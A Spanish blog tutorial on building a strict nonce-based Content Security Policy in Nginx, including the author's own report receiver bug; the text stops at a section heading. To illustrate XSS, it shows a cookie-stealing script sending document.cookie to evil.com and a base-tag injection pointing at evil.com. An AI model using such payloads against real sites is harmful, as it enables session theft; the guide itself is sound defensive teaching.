# Content Security Policy (CSP) con Nginx: La Guía Completa

> Una entrada de jmrp.io, publicada como documento propio. Índice: https://jmrp.io/llms-full.txt

> Generated: 2026-08-31

URL: https://jmrp.io/es/blog/003-implementing-content-security-policy-nginx/
Language: es
Alternate: https://jmrp.io/blog/003-implementing-content-security-policy-nginx/index.md
License: https://creativecommons.org/licenses/by/4.0/
Type: TechArticle
Published: 2025-12-19
Updated: 2026-08-27
Last verified: 2026-08-01 · nginx 1.31.2
Summary: Domina Content Security Policy de cero a A+ — nonces, hashes, strict-dynamic, Trusted Types, prevención de bypass y configuraciones Nginx en producción.
Tags: Nginx, Security, Cryptography
Topics: Content Security Policy (Q1128636), Nginx (Q306144), Cross-site scripting (Q371199), Cryptographic nonce (Q1749235), Clickjacking (Q163231), Web application security (Q1509541)

Preguntas que responde:

**¿Cuál es la CSP más sencilla para empezar en Nginx?**

Añade la única cabecera `add_header Content-Security-Policy "default-src 'self'" always;` a tu bloque server. Esto le indica al navegador que solo permita recursos de tu mismo origen (mismo esquema, host y puerto), bloqueando inmediatamente los scripts externos, los scripts inline y los estilos inline.

**¿Por qué los nonces son mejores que las allowlists de dominios en CSP?**

La investigación de Google logró eludir el 94,72 % de todas las políticas CSP distintas, y el 75,81 % se apoya en listas de permitidos de scripts que un atacante puede eludir, porque los CDN de confianza suelen alojar endpoints JSONP, redirecciones abiertas o script gadgets que los atacantes explotan. Los nonces son tokens criptográficamente aleatorios por petición que un atacante no puede adivinar, así que ofrecen protección real contra XSS sin importar qué bibliotecas se carguen.

**¿Cómo pueden los sitios estáticos usar nonces si el HTML se genera en tiempo de build?**

Coloca un placeholder como `CSP_NONCE_NGINX` en tus plantillas en tiempo de build y haz que Nginx genere un nonce único por petición con `set $cspNonce $request_id;` y reemplace el placeholder con `sub_filter`. El mismo valor `$cspNonce` va en la cabecera CSP, de modo que el nonce del HTML y el de la cabecera siempre coinciden.

**¿Qué hace 'strict-dynamic' en una CSP?**

`'strict-dynamic'` permite que los scripts cargados por un script ya confiable también se ejecuten sin necesitar su propio nonce, de forma que la confianza se propaga por la cadena. Cuando está presente, las fuentes de tipo allowlist como `'self'` o dominios específicos se ignoran para la carga de scripts: solo los nonces y hashes otorgan la confianza inicial.

**¿Qué directivas son obligatorias para una CSP estricta?**

Una CSP estricta usa nonces o hashes en lugar de allowlists de dominios, incluye `'strict-dynamic'` para la carga dinámica de scripts, establece `object-src 'none'` para bloquear plugins y establece `base-uri 'none'` para prevenir la inyección de etiquetas base.

**¿Cómo despliego CSP de forma segura sin romper mi sitio?**

Nunca despliegues una CSP estricta directamente en producción. Primero ejecútala en modo `Content-Security-Policy-Report-Only` durante una o dos semanas para registrar violaciones sin bloquear, corrige problemas como los inline event handlers y las llamadas a `eval()`, y luego cambia a la aplicación gradualmente.


Pasos (Implementar una Content Security Policy estricta en Nginx):
1. Añadir una cabecera CSP inicial
2. Comprobar y recargar Nginx
3. Construir una política base de Nivel 6
4. Inyectar nonces por petición para scripts inline
5. Pasar a modo estricto con nonces y strict-dynamic
6. Desplegar en modo report-only
7. Analizar y corregir las violaciones
8. Activar la aplicación

---

**Cross-Site Scripting (XSS)** sigue siendo una de las vulnerabilidades web más devastadoras. En el [OWASP Top 10 2021](https://owasp.org/Top10/2021/A03_2021-Injection/) está dentro de **A03: Injection** como CWE-79 — una categoría con 33 CWE mapeadas, 274.228 apariciones registradas y una tasa de incidencia máxima del **19,09 %** en las aplicaciones analizadas. Según la [investigación de seguridad de Google](https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/), incluso los sitios web con CSP a menudo fallan en implementarla correctamente: Google logró eludir el **94,72 % de todas las políticas distintas**, y el **75,81 %** se apoya en listas de permitidos de scripts que un atacante puede eludir.

**Content Security Policy (CSP)** es tu defensa a nivel de navegador contra estos ataques. Piensa en ella como una estricta "lista de invitados" para tu sitio web: le indicas al navegador explícitamente qué recursos (scripts, estilos, imágenes) pueden ejecutarse. Todo lo que no esté en la lista se bloquea, incluso si un atacante consigue inyectar código malicioso.

Esta guía te lleva desde cero hasta una configuración CSP lista para producción con **calificación A+**. Aprenderás no solo el "cómo" sino el "por qué" detrás de cada directiva, comprenderás las técnicas modernas de bypass y cómo prevenirlas, y descubrirás temas avanzados como Trusted Types para la prevención de XSS basado en DOM.

## TL;DR — una CSP basada en nonces sobre Nginx

- **Las allowlists no aguantan.** Google logró eludir el **94,72 % de todas las políticas CSP distintas**, y el **75,81 %** se apoya específicamente en listas de permitidos de scripts que un atacante puede eludir — porque los CDN de confianza alojan endpoints JSONP y librerías desactualizadas que convierten un origen permitido en una vía de ejecución.
- **Un nonce es por petición e impredecible**, así que un `<script>` inyectado no lleva token válido y se rechaza — que es justo lo que una allowlist no puede prometer. No es una garantía absoluta: `strict-dynamic` permite que un script ya confiable cargue más, un nonce filtrado es un nonce válido, y los sinks del DOM requieren Trusted Types (más abajo).
- **Un sitio estático también puede usar nonces.** Nginx genera uno por petición y `sub_filter` sustituye el placeholder en el cuerpo de la respuesta, sin servidor de aplicación de por medio. Así se sirve exactamente esta página.
- **`strict-dynamic` propaga la confianza** de un script con nonce a lo que este cargue, que es lo que permite que la política sobreviva a bundlers e imports dinámicos sin volver a abrir la allowlist.
- **`object-src 'none'` y `base-uri 'none'` no son opcionales**: sin ellos una política estricta sigue siendo eludible mediante contenido de plugins e inyección de `<base>`.
- **Trusted Types (CSP Level 3) cierra el sink del DOM**, la clase de XSS a la que una política de origen de scripts no llega por sí sola.
- **El resultado medido en el momento de escribir esto:** una **A+ en Mozilla Observatory con 140 puntos y los 10 tests superados**, alcanzada tras ejecutar `Content-Security-Policy-Report-Only` con `report-uri` durante una o dos semanas antes de aplicarla.

**Antes de empezar**

- Un servidor web con **Nginx 1.11.0+** (para la variable `$request_id`) o **Nginx 1.25.1+** (para la directiva `http2 on;`)
- Conocimientos básicos de cabeceras HTTP
- Acceso a los archivos de configuración de Nginx
- Un sitio web que proteger (estático o dinámico)

---

## Cómo lo ejecuto en mi propia infraestructura

Esto no es hipotético — jmrp.io es en sí mismo la implementación de referencia de todo lo anterior. En producción, Nginx fija `set $cspNonce $request_id;` y reescribe el marcador con `sub_filter NGINX_CSP_NONCE $cspNonce;`, de modo que cada respuesta lleva un nonce fresco atado a esa petición. La cabecera que este sitio sirve realmente está basada en nonces: `default-src 'none'`, `script-src 'self' 'nonce-…' 'strict-dynamic'`, `style-src 'self' 'nonce-…'`, más `frame-ancestors 'none'`, `base-uri 'none'` y `report-uri /csp-report`. El `'self'` que aparece ahí es un respaldo de mismo origen para navegadores sin soporte de `strict-dynamic`; donde sí lo soportan, el navegador ignora `'self'` y el nonce es lo único que autoriza la ejecución. Cero `unsafe-inline`, cero listas de dominios de terceros que mantener.

Las violaciones no se pierden en un log que nadie lee: tengo mi propio receptor (`scripts/csp-reporter.mjs`) que las saca a la luz en cuanto ocurren, en vez de depender de un servicio de terceros para saber qué se está rompiendo.

Medido contra la API actual de Mozilla Observatory (v5), esta configuración obtiene una **calificación A+: puntuación 140, con los 10 tests pasados y cero fallos**. Esa es la cifra a día de hoy — no el 145 que puedes ver referenciado en otra parte de este sitio, de un commit de diciembre de 2025. Aquel total incluía un bonus de 5 puntos que Observatory concede por servir cookies con `Secure`/`HttpOnly`/`SameSite`; esas cookies eran dos valores dummy que no hacían nada útil, y eliminarlas —para que la página `/privacy/` de este sitio pueda afirmar honestamente que ninguna respuesta fija `Set-Cookie`— costó 5 puntos cosméticos en una política que ya no falla ni un solo test. Ese cambio mereció claramente la pena.

### Qué contienen de verdad los informes de violación

Ese receptor recibe de media una veintena de informes al día, y la media es el número menos útil del conjunto: la mayoría de los días traen un puñado y algún día suelto trae cientos. Lo que importa es la composición, y es estable desde que empecé a leerlos. La gran mayoría son crawlers. Casi todo el resto son extensiones del navegador y antivirus inyectando scripts y estilos en la página de otra persona. **Ni uno solo ha resultado ser un defecto de este sitio.**

Los informes de `eval` bloqueado son el caso más claro, porque son trivialmente falsables: ningún fichero JavaScript que sirve este sitio contiene `eval(` ni `new Function(` — tras un build de producción, las únicas apariciones de ese literal en toda la salida están en la prosa de este mismo artículo. Llegan a rachas desde una sola dirección y un solo user-agent, que es un visitante con algo inyectando código en su navegador, no una política demasiado estricta.

Ese es el rendimiento honesto de un `report-uri`: te cuenta sobre todo lo que el software de otros le hace a tus páginas. Ni una sola vez me ha dicho que mi propia política estuviera mal — lo cual no lo hace inútil, porque me llevó a leer mi propio receptor con la atención suficiente para encontrar el fallo de abajo.

### El fallo que esta auditoría encontró en mi propio receptor

Esa composición solo es fiable porque sentarme a comprobarla destapó un fallo de parseo en el propio receptor.

El 22 de agosto añadí un endpoint `report-to` junto al `report-uri` de siempre. Las dos API no se ponen de acuerdo en la forma: la antigua envía por POST un único objeto `{"csp-report": {…}}` con nombres de campo en kebab-case, mientras que la Reporting API manda envoltorios `{type, url, body: {…}}` en camelCase. Para eso existe una función `normalizeReports()`, que traduce la segunda forma a la primera — y lo hacía, pero solo cuando el cuerpo llegaba como array.

**scripts/csp-reporter.mjs — el fallo**

```javascript
function normalizeReports(parsed) {
  // Un envoltorio suelto no es un array: se escapaba por esta línea
  // y llegaba a los filtros con todos los campos kebab-case undefined.
  if (!Array.isArray(parsed)) return [parsed];
  return parsed.map(/* camelCase → kebab-case */);
}
```

Un navegador que envía un envoltorio suelto en vez de un array de uno se colaba de largo por esa primera línea. El informe llegaba a los filtros sin directiva, sin URI bloqueada y sin fichero de origen —nada con lo que casar—, así que no se descartaba nada, todo se registraba como inclasificable y cuatro de esos informes vacíos esquivaron el limitador de frecuencia y acabaron en mi móvil como alertas de Telegram con una violación en blanco dentro.

Diez informes entraron así entre el 22 y el 26 de agosto. Descodificados a mano no tienen ningún misterio: seis traen un fichero de origen `safari-web-extension://…` o `safari-extension://…`, y los otros cuatro son elementos `<style>` inline que el navegador atribuye al propio documento. Los filtros de descarte ya cubrían ambas categorías; sencillamente nunca llegaron a ver los campos. El arreglo consiste en aceptar también el envoltorio suelto, no solo el array.

La forma del error es lo que merece escribirse. Una afirmación de que ninguno de estos informes es un defecto real, apoyada en parte en informes que nadie podía leer, no es una afirmación — y no tenía manera de saber cuál de las dos cosas era hasta decodificarlos a mano.

**Idea clave — Un informe que no sabes parsear es peor que uno que nunca recibiste**

Te cuesta igual una alerta y encima parece señal. Si le enchufas un endpoint
`report-to` a un receptor que ya tenía `report-uri`, lo primero que hay que
probar es un envoltorio suelto — no el array que enseñan los ejemplos de la
especificación.

---

## ¿Por qué CSP pasó de listas blancas a nonces?

Content Security Policy ha evolucionado significativamente desde su introducción. Comprender esta evolución te ayuda a valorar por qué existen los enfoques modernos de "CSP estricta".

- **2010 — X-Content-Security-Policy**: Mozilla presenta la primera implementación de CSP como cabecera experimental. [Blog de Seguridad de Mozilla](https://blog.mozilla.org/security/2009/06/19/shutting-down-xss-with-content-security-policy/)
- **2012 — CSP Level 1**: El W3C estandariza CSP con directivas fetch básicas (script-src, style-src, etc.). [Especificación W3C CSP 1.0](https://www.w3.org/TR/CSP1/)
- **2016 — CSP Level 2**: Introduce nonces, hashes y frame-ancestors. 'unsafe-inline' puede anularse con nonces. [W3C CSP Level 2](https://www.w3.org/TR/CSP2/)
- **2016 — Investigación de Google**: Google publica 'CSP Is Dead, Long Live CSP' demostrando que se puede eludir el 94,72 % de todas las políticas distintas, de las cuales el 75,81 % usa listas de permitidos de scripts eludibles. [Artículo de investigación](https://research.google/pubs/csp-is-dead-long-live-csp-on-the-insecurity-of-whitelists-and-the-future-of-content-security-policy/)
- **2018 — strict-dynamic**: Nueva keyword que permite a los scripts de confianza cargar dependencias sin necesidad de allowlist explícito. [MDN strict-dynamic](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src#strict-dynamic)
- **2023+ — CSP Level 3 (Working Draft)**: Introduce Trusted Types, report-to y soporte mejorado para WebAssembly. [W3C CSP Level 3](https://www.w3.org/TR/CSP3/)
- **2024+ — Adopción de Trusted Types**: El soporte en navegadores madura; las empresas comienzan a adoptarlo para la prevención de DOM-XSS. [web.dev Trusted Types](https://web.dev/articles/trusted-types)

---

## Tu primera CSP en 5 minutos

Vamos a poner en marcha una CSP funcional ahora mismo. Abre tu configuración de Nginx y añade esta única cabecera:

**Fichero: `/etc/nginx/sites-available/example.com`**

```nginx
server {
    listen 443 ssl;
    server_name example.com;
    
    # Your first CSP - allow resources only from your own domain
    add_header Content-Security-Policy "default-src 'self'" always;
    
    # ... rest of your config
}
```

Comprueba tu configuración y recarga Nginx:

```bash
sudo nginx -t && sudo systemctl reload nginx
```

**¡Eso es todo!** Ahora tienes una CSP funcional. Abre las DevTools de tu navegador (F12 → Consola) para ver las violaciones:

**Salida — Consola del navegador**

```text
Refused to load the script 'https://cdn.example.com/analytics.js' because it 
violates the following Content Security Policy directive: "default-src 'self'".
```

**Idea clave**

**¿Qué acaba de pasar?**

`default-src 'self'` le dice al navegador: "Solo permite recursos de este mismo origen (mismo esquema, host y puerto)." Esto bloquea inmediatamente:

- Scripts externos (CDN, analytics, tracking)
- Scripts inline (`<script>alert('xss')</script>`)
- Estilos inline (`style="..."`)
- Imágenes, fuentes y frames externos

Esto es intencionalmente restrictivo — a continuación lo relajaremos de forma selectiva.

---

## ¿Qué permite realmente una lista blanca de CSP?

CSP funciona definiendo **lo que se permite**, no lo que se bloquea. Piensa en ella como una lista VIP en un evento exclusivo: solo los recursos que figuran en la lista pueden entrar.

**CSP actúa como un guardián para todos los recursos del navegador**

```mermaid
flowchart LR
    subgraph Browser["Navegador"]
        CSP["Política CSP"]:::cspPolicy
    end
    
    A["Tus scripts\n(self)"]:::cspTrusted --> CSP
    B["Scripts de CDN\n(externos)"] --> CSP
    C["Scripts inline\n(<script>...</script>)"] --> CSP
    D["Scripts XSS\ninyectados"]:::attacker --> CSP
    
    CSP -->|"✓ Permitido"| E["Ejecutar"]:::cspTrusted
    CSP -->|"✗ Bloqueado"| F["Rechazar"]:::cspBlocked
```

### Por qué CSP importa: el principio de defensa en profundidad

Sin CSP, si un atacante inyecta `<script>stealCookies()</script>` en tu página (a través de un formulario de comentarios, un parámetro de URL o la base de datos), el navegador lo ejecuta sin problemas: no tiene forma de distinguir scripts legítimos de maliciosos.

Con CSP, el navegador verifica cada recurso contra tu política **antes** de ejecutarlo. Si los scripts inline no están explícitamente permitidos, el ataque se neutraliza a nivel de navegador.

**Idea clave**

**CSP es una segunda línea de defensa.**

CSP no impide que ocurra la inyección — deberías seguir saneando la entrada del usuario y utilizando consultas parametrizadas. Pero cuando la validación de entrada falla (y acabará fallando), CSP atrapa el ataque a nivel de navegador, impidiendo la ejecución.

---

## Cómo funcionan los ataques XSS (y cómo CSP los detiene)

Para entender el valor de CSP, vamos a trazar un ataque XSS típico:

**Flujo de ataque XSS sin protección CSP**

```mermaid
sequenceDiagram
    participant Attacker as Atacante
    participant Website as Tu sitio web
    participant Victim as Navegador de la víctima
    participant Evil as Servidor del atacante
    
    Attacker->>Website: Envía comentario malicioso<br/>con etiqueta script
    Note over Website: Comentario guardado en BD<br/>(sin sanitización)
    
    Victim->>Website: Visita la página con comentarios
    Website->>Victim: HTML con script inyectado
    Note over Victim: Navegador ve la etiqueta <script><br/>y la ejecuta
    Victim->>Evil: El script envía cookies/tokens<br/>de sesión al atacante
    Note over Evil: El atacante ahora tiene<br/>la sesión de la víctima
```

### Desglose paso a paso

1. **Inyección**: el atacante envía un comentario que contiene:
   ```html
   <script>fetch('https://evil.com?c='+document.cookie)</script>
   ```

2. **Almacenamiento**: el sitio web lo guarda en la base de datos sin una sanitización adecuada

3. **Entrega**: cuando otro usuario ve la página, el script malicioso se sirve como parte del HTML

4. **Ejecución**: el navegador ve una etiqueta `<script>` y la ejecuta sin hacer preguntas

5. **Exfiltración**: el script envía las cookies de sesión al servidor del atacante

### Cómo CSP rompe la cadena

**Con CSP (`script-src 'self'`)**, el paso 4 falla. El navegador comprueba: "¿Es un script inline? ¿Está `'unsafe-inline'` permitido?" Como los scripts inline están bloqueados por defecto, el ataque se neutraliza:

**Salida — Consola del navegador con CSP**

```text
Refused to execute inline script because it violates the following 
Content Security Policy directive: "script-src 'self'". Either the 
'unsafe-inline' keyword, a hash ('sha256-...'), or a nonce ('nonce-...') 
is required to enable inline execution.
```

---

## Vectores de ataque que CSP previene

CSP aborda múltiples categorías de amenazas. Así es como las diferentes directivas crean defensa en profundidad:

**Amenazas comunes mitigadas por CSP**

| Amenaza | Vector de ataque | Defensa CSP |
| --- | --- | --- |
| **XSS reflejado** | Scripts inyectados mediante parámetros de URL | `script-src` sin `'unsafe-inline'` |
| **XSS almacenado** | Scripts inyectados mediante contenido de BD | `script-src` con nonces/hashes |
| **XSS basado en DOM** | Abuso de `eval()`, `innerHTML` | `script-src` sin `'unsafe-eval'` + Trusted Types |
| **Exfiltración de datos** | XHR/fetch a servidores del atacante | `connect-src 'self'` |
| **Clickjacking** | Sitio enmarcado por una página maliciosa | `frame-ancestors 'none'` |
| **Contenido mixto** | Recursos HTTP en páginas HTTPS | `upgrade-insecure-requests` |
| **Ataques mediante plugins** | Exploits de Flash, Java, PDF | `object-src 'none'` |
| **Secuestro de formularios** | Formularios inyectados para robar credenciales | `form-action 'self'` |
| **Inyección de etiqueta base** | Redirección de URLs relativas al atacante | `base-uri 'none'` |

---

## Directivas CSP: aprende haciendo

En lugar de memorizar tablas, vamos a aprender cada directiva añadiéndola a nuestra política de forma progresiva.

### 1. `default-src`: el fallback

Esta es la directiva comodín. Si no especificas una directiva para un tipo de recurso, se aplica `default-src`.

**`default-src`** — CSP Level 1

- Sintaxis: `default-src <source-list>`
- Predeterminado: `* (permitir todo)`
- [Referencia de MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/default-src)

Fallback para todas las directivas fetch no especificadas. Establécela de forma restrictiva y añade directivas específicas según sea necesario.

**Buena práctica:** establece `default-src 'none'` y permite explícitamente lo que necesites. Este es el enfoque "denegar por defecto" que recomiendan los profesionales de seguridad.

**Directiva default-src**

```nginx
# Block everything by default - explicitly allow what you need
Content-Security-Policy: default-src 'none';
```

### 2. `script-src`: la directiva más crítica

Controla qué scripts pueden ejecutarse en tu página. Si te equivocas aquí, toda tu CSP es prácticamente inútil.

**`script-src`** — CSP Level 1

- Sintaxis: `script-src <source-list>`
- Predeterminado: `Recurre a default-src`
- [Referencia de MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src)

Especifica las fuentes válidas para JavaScript. Es la directiva más importante para la protección contra XSS.

**Valores de origen de script-src**

| Valor | Significado | Seguridad |
| --- | --- | --- |
| `'self'` | Solo mismo origen (esquema + host + puerto) | Seguro [bien] |
| `'none'` | Bloquea todos los scripts completamente | Máximo [bien] |
| `'nonce-{random}'` | Permite scripts con atributo nonce coincidente | Recomendado [bien] |
| `'sha256-{hash}'` | Permite scripts con hash de contenido coincidente | Fuerte [bien] |
| `'strict-dynamic'` | La confianza se propaga a scripts cargados dinámicamente | Fuerte [bien] |
| `https://cdn.example.com` | Permite scripts de un dominio específico | Débil (eludible) [cuidado] |
| `'unsafe-inline'` | Permite todos los scripts inline | Peligroso [mal] |
| `'unsafe-eval'` | Permite `eval()`, `Function()`, etc. | Peligroso [mal] |

**Advertencia**

**Nunca uses `'unsafe-inline'` para scripts en producción.** Permite a los atacantes ejecutar cualquier script inline inyectado, exactamente el ataque que CSP pretende evitar. Si ves esto en tu política, tu CSP ofrece esencialmente cero protección contra XSS.

**Información**

**Directivas granulares de CSP Level 3:** los navegadores modernos reportan violaciones usando directivas más específicas como `script-src-elem` (para elementos `<script>`) y `script-src-attr` (para event handlers inline como `onclick`). Estas recurren a `script-src` como fallback, por lo que no necesitas configurarlas por separado a menos que quieras reglas diferentes para cada una.

### 3. `style-src`: control de CSS

**`style-src`** — CSP Level 1

- Sintaxis: `style-src <source-list>`
- Predeterminado: `Recurre a default-src`
- [Referencia de MDN](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/style-src)

Especifica las fuentes válidas para hojas de estilo. Menos crítica que script-src pero igualmente importante para una protección integral.

**style-src con unsafe-inline**

```nginx
# Allow styles from same origin + inline styles
style-src 'self' 'unsafe-inline';
```

**Información**

**Por qué `'unsafe-inline'` para estilos suele ser aceptable:**

A diferencia de los scripts, los estilos inline tienen una superficie de ataque mucho menor. Muchas bibliotecas CSS-in-JS y frameworks necesitan estilos inline para la hidratación. Aunque *puedes* usar nonces/hashes para estilos también, el beneficio de seguridad es menor comparado con la complejidad de implementación.

### 4. Directivas de recursos

**Opción 1/5 — img-src**

```nginx
# Allow images from same origin + data: URIs (for base64)
img-src 'self' data:;
```

`data:` suele necesitarse para imágenes codificadas en base64, iconos SVG o imágenes placeholder.

**Opción 2/5 — font-src**

```nginx
# Allow fonts from same origin only
font-src 'self';

# Or allow Google Fonts
font-src 'self' https://fonts.gstatic.com;
```

**Opción 3/5 — connect-src**

```nginx
# Restrict XHR/Fetch/WebSocket destinations
# Critical for preventing data exfiltration
connect-src 'self' https://api.example.com;
```

Esto controla a dónde puede enviar datos JavaScript. Es crítico para evitar que se envíen datos robados a servidores del atacante.

**Opción 4/5 — media-src**

```nginx
# Audio and video sources
media-src 'self';
```

**Opción 5/5 — worker-src**

```nginx
# Web Workers and Service Workers
worker-src 'self';

# For sites using blob: URLs for workers
worker-src 'self' blob:;
```

Controla las fuentes para scripts de `Worker`, `SharedWorker` y `ServiceWorker`. Si no se especifica, recurre a `script-src` como fallback.

### 5. Directivas de hardening de seguridad

A menudo se pasan por alto pero son **obligatorias para una CSP estricta**:

#### `object-src 'none'` — Bloquear plugins

Los plugins como Flash y Java han sido históricamente vectores de vulnerabilidades importantes. Aunque Flash está obsoleto, bloquear `object-src` previene cualquier ataque basado en plugins:

**Directiva object-src**

```nginx
# Block all plugins (Flash, Java, Silverlight, PDF viewers)
object-src 'none';
```

**Idea clave**

**Obligatorio para CSP estricta.** Sin `object-src 'none'`, los atacantes podrían utilizar vulnerabilidades de plugins para eludir tus restricciones de scripts.

#### `base-uri 'none'` — Prevenir la inyección de etiqueta base

La etiqueta `<base>` define una URL base para todas las URLs relativas de un documento. Si un atacante inyecta una etiqueta `<base>`, puede redirigir todas tus URLs relativas a su servidor:

**Comparación: Ataque sin base-uri vs Con base-uri 'none'**

**Ataque sin base-uri**

```html
<!-- Attacker injects this -->
<base href="https://evil.com/">

<!-- Your existing code now loads from attacker! -->
<script src="/js/app.js"></script>
<!-- Loads https://evil.com/js/app.js -->
```

**Con base-uri 'none'**

```http
Content-Security-Policy: base-uri 'none'

<!-- Injection attempt blocked! -->
Refused to set the document's base URI to 
'https://evil.com/' because it violates CSP.
```

#### `frame-ancestors 'none'` — Protección contra clickjacking

Impide que tu sitio se incruste en iframes en otros sitios:

**Directiva frame-ancestors**

```nginx
# Don't allow embedding anywhere (replaces X-Frame-Options)
frame-ancestors 'none';

# Or allow embedding only on your own domain
frame-ancestors 'self';
```

**Consejo**

`frame-ancestors` es más flexible que la antigua cabecera `X-Frame-Options` y debería ser la opción preferida. Sin embargo, para máxima compatibilidad con navegadores, puedes configurar ambas.

#### `form-action 'self'` — Controlar el envío de formularios

Impide que los atacantes inyecten formularios que envían datos a sus servidores:

**Directiva form-action**

```nginx
# Forms can only submit to your own domain
form-action 'self';
```

---

## Construyendo tu CSP capa a capa

En lugar de escribir una CSP perfecta de golpe (lo que lleva a la frustración), vamos a construirla de forma progresiva. Cada capa añade protección, y puedes detenerte en cualquier nivel según tus necesidades.

**Niveles de seguridad CSP**

| Nivel | Adición a la política | Protección añadida |
| --- | --- | --- |
| **0** | Sin CSP | Ninguna — completamente expuesto a XSS [mal] |
| **1** | `default-src 'none'` | Bloquea todo por defecto |
| **2** | `+ script-src 'self'` | Solo se ejecutan tus scripts |
| **3** | `+ style-src, img-src, font-src` | Controla los recursos visuales |
| **4** | `+ connect-src 'self'; object-src 'none'` | Limita la exfiltración de datos, bloquea plugins |
| **5** | `+ base-uri 'none'; frame-ancestors 'none'` | Previene inyección y clickjacking |
| **6** | `+ form-action 'self'; upgrade-insecure-requests` | Protección base completa [bien] |

### Nivel 6: una CSP base sólida

Así es como se ve el Nivel 6 en la práctica:

**Fichero: `/etc/nginx/sites-available/example.com`**

```nginx
add_header Content-Security-Policy "
    default-src 'none';
    script-src 'self';
    style-src 'self' 'unsafe-inline';
    img-src 'self' data:;
    font-src 'self';
    connect-src 'self';
    object-src 'none';
    base-uri 'none';
    frame-ancestors 'none';
    form-action 'self';
    upgrade-insecure-requests;
" always;
```

**Correcto**

**Punto de control:** esta CSP protege contra la mayoría de ataques XSS, limita la exfiltración de datos, previene el clickjacking y cierra los vectores de ataque basados en plugins.

**Sin embargo**, tiene una limitación significativa: los scripts inline están bloqueados. Si tu sitio usa JavaScript inline (detección de tema, analytics, hidratación), no funcionará. La siguiente sección resuelve esto.

---

## El reto de los scripts inline

La mayoría de sitios web tienen scripts inline como este:

**Script inline típico**

```html
<script>
  // Theme detection - runs before page renders
  const theme = localStorage.getItem('theme') || 'system';
  document.documentElement.classList.add(theme);
</script>
```

Con `script-src 'self'`, esto se bloquea. Tienes **tres soluciones**:

**Comparación de soluciones para scripts inline**

| Solución | Ideal para | Ventajas | Inconvenientes |
| --- | --- | --- | --- |
| **Archivos externos** | Casos sencillos | Sin nonces/hashes; cacheable [bien] | Petición HTTP extra; no puede ejecutarse antes del render [cuidado] |
| **Hashes** | Scripts estáticos | Funciona con contenido estático; sin cambios en el servidor [bien] | Hay que regenerarlo con cada cambio en el script [cuidado] |
| **Nonces** ⭐ | Todos los casos | Máxima flexibilidad; recomendado por Google [bien] | Requiere nonce del servidor (truco Nginx para sitios estáticos) [cuidado] |

### Solución 1: mover a archivos externos

El enfoque más limpio — mover el código inline a archivos `.js`:

**Comparación: Inline (bloqueado por CSP) vs Externo (permitido)**

**Inline (bloqueado por CSP)**

```html
<head>
  <script>
    initTheme();
  </script>
</head>
```

**Externo (permitido)**

```html
<head>
  <script src="/js/theme.js"></script>
</head>
```

### Solución 2: usar hashes

Genera un hash SHA-256 del contenido de tu script y añádelo a tu CSP. Puedes calcularlo directamente en tu navegador con la [calculadora de hashes](/es/tools/hash-calculator/): pega el contenido exacto del script y copia el valor `sha256-…` en tu política.

**Consejo**

**Cómo obtener el hash desde el navegador:** cuando CSP bloquea un script, la consola del navegador muestra el hash necesario:

> Either the 'unsafe-inline' keyword, a hash ('sha256-RFWPLDbv2BY...'), or a nonce is required.

Copia ese hash directamente en tu CSP.

**Limitación:** debes regenerar el hash cada vez que cambie el contenido del script — incluso añadir un espacio lo invalidará.

### Solución 3: usar nonces

Añade un token aleatorio tanto a la cabecera CSP como a tus etiquetas de script:

**Opción 1/2 — Cabecera CSP**

```nginx
Content-Security-Policy: 
  script-src 'self' 'nonce-abc123def456';
```

**Opción 2/2 — HTML**

```html
<script nonce="abc123def456">
  const theme = localStorage.getItem('theme');
  document.documentElement.classList.add(theme);
</script>
```

**Fundamental:** el nonce debe ser:

- **Criptográficamente aleatorio** (al menos 128 bits / 16 bytes)
- **Único por petición** (nunca reutilices nonces)
- **Codificado** (base64 o hex — el `$request_id` de Nginx usa hex, que es válido según la especificación CSP)

---

## Nonces para sitios estáticos: el truco de Nginx

Este es el reto: los generadores de sitios estáticos (Astro, Next.js, Hugo) construyen el HTML en **tiempo de build**. Pero los nonces deben ser únicos por **petición**. ¿Cómo puede un HTML estático contener nonces dinámicos?

### La solución: sustitución de placeholders

**Inyección de nonce con Nginx para sitios estáticos**

```mermaid
sequenceDiagram
    participant Build as Tiempo de build
    participant Disk as HTML en disco
    participant Nginx
    participant Browser as Navegador
    
    Build->>Disk: HTML con placeholder<br/>nonce="CSP_NONCE_NGINX"
    Note over Disk: Placeholder almacenado
    
    Browser->>Nginx: GET /page.html
    Nginx->>Nginx: Genera nonce único<br/>($request_id)
    Nginx->>Nginx: Reemplaza placeholder<br/>con nonce real
    Nginx->>Browser: HTML + cabecera CSP<br/>con nonce coincidente
    Note over Browser: Los nonces coinciden ✓<br/>El script se ejecuta
```

### Paso 1: usa placeholders en tus plantillas

En tus plantillas, usa un placeholder que Nginx reemplazará:

**Fichero: `src/layouts/BaseLayout.astro`**

```astro
---
// Layout component
---
<html>
  <head>
    <!-- Nginx will replace this placeholder -->
    <script is:inline nonce="CSP_NONCE_NGINX">
      const theme = localStorage.getItem('theme') || 'system';
      document.documentElement.dataset.theme = theme;
    </script>
  </head>
  <body>
    <slot />
  </body>
</html>
```

### Paso 2: configura Nginx

**Fichero: `/etc/nginx/sites-available/example.com`**

```nginx
server {
    listen 443 ssl;
    server_name example.com;
    
    # ================================================
    # STEP 1: Generate unique nonce per request
    # ================================================
    # $request_id = 32-char hex string (128 bits entropy)
    set $cspNonce $request_id;

    # ================================================
    # STEP 2: Replace placeholder with real nonce
    # ================================================
    # NOTE: sub_filter requires uncompressed responses.
    # For proxied backends, add: proxy_set_header Accept-Encoding "";
    # For static files, ensure gzip is disabled or applied after sub_filter.
    sub_filter_once off;  # Replace ALL occurrences
    sub_filter_types text/html text/css application/javascript;
    sub_filter CSP_NONCE_NGINX $cspNonce;

    # ================================================
    # STEP 3: Set CSP header with same nonce
    # ================================================
    add_header Content-Security-Policy "
        default-src 'none';
        script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
        style-src 'self' 'nonce-$cspNonce';
        img-src 'self' data:;
        font-src 'self';
        connect-src 'self';
        object-src 'none';
        base-uri 'none';
        frame-ancestors 'none';
        form-action 'self';
        upgrade-insecure-requests;
    " always;
    
    # ... rest of config
}
```

**Información**

**Por qué `$request_id` es criptográficamente seguro:**

